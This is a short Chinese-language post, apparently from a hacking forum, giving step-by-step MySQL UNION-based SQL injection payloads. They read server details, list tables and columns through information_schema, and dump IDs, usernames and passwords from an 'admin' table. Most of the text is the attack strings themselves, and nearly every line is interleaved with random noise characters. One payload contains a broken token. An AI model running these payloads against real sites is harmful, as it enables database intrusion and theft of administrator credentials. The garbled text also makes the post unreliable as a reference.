mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法
$ m1 Z8 x0 p1 S  l
学习盲注前先了解下 IFORMATION_SCHEMA 库
/ v) D5 B) F7 U) q% W
4 i9 `( [" L1 R. c/ e7 GMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
# O; n0 F2 u( D8 `0 o- E|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称
8 m, i, x) |3 A, w& o, G) x/ g
|TABLES ->存储表名
' P4 C& M, M7 M; h, g0 z- w! y|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
|---字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
! ^2 |6 Z7 @  y2 I+ \|---字段：TABLE_SCHEMA ->该字段所属数据库名
|---字段：TABLE_NAME ->存储所属表的名称
: L; m! W+ f* H4 G; t
|---字段：COLUMN_NAME ->该字段的名称

/ L3 n. Q( V) g2 |7 y3 [

###########################################################################

" w" [9 a- w, U5 l! i% q  b5 D0x001 获取系统信息:
- m* v+ s" P3 n9 k  o# r; w( T/ @) g
$ T$ Q( b/ }& `* Y* Uunion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*
3 h  _* F, x, x5 w! T5 o
+ Q4 {/ s$ j/ M* g7 e" i, l7 B@@global.version_compile_os 获取系统版本
( O& \& @/ U- p' [
@@datadir 数据库路径
3 L1 j$ b2 K0 f; {/ d' W0 M% ldatabase() 当前数据库名称
0x3c62723e 换行HEX值
7 r' r2 U) J- H, f
*/
2 Z8 x- E6 G: _; W; x% Y
( ]& `' @" M6 s9 A2 u% R$ E1 e
! c9 ~+ d9 {( q2 B
######################################################################

. Q' i* m: f% q0x002 获取表名
4 ?) e" Q$ N2 e" S3 H
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
7 |; {2 z* w* p$ w- t& o: w4 T

0 W. p" a* V  {
- Y& e& @9 ?6 t! U" i/*

2 i& A9 D5 f  _% ^( I$ [$ f0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

5 t& T: C0 n, W1 t' Y5 p, q*/
2 O& f9 O+ d, z
######################################################################

5 H5 m% q) @. c/ J
4 Z* ?+ g' O$ r) S. X' t0 J
$ X! Y& H; A* J0x003 获取字段

* O! G" m' M6 @. r/ H$ Punion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

/*

* k5 n9 ~$ C: }( n% f. A! _' Cgroup_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
" }. V' Z" e) L& Z9 T6 ^
0x61646d696e ->选择一个表

, {9 l& m( Q/ v3 L2 H: N1 a  V( F0x67617264656e ->数据库名

5 f  l" x9 A5 ?# p/ k  T" t* ]*/
7 S, C& l$ l! i
#####################################################################
$ R* g+ F7 J% _5 d# C+ r2 b: x
& q$ C; l$ y' s/ L

" u4 M- E5 n9 A$ p; x6 W6 x0x004 获取数据
* ?0 f3 N. i, V: ~* Q* J
union select 1,2,3
2 X& F+ S+ Q% U6 x5 R  C,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
4 c9 ~# T( P; W5 T# }# G6 e" J; Y
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
6 o( g1 F6 H: j3 e6 o4 o: X
3 q& Y3 c8 H8 [8 F. c! P% C

- e: T; q( \8 B# o" T! N/*

  f, [! O8 B( N: A5 T0 d5 B9 I0x3c62723e 换行符号HEX编码
1 g# E/ u& }6 {5 I
group_concat 同时获得该字段所有数据

# G$ Y, l4 Q: B/ ^& S5 t*/

# ?" H, q0 k9 [% x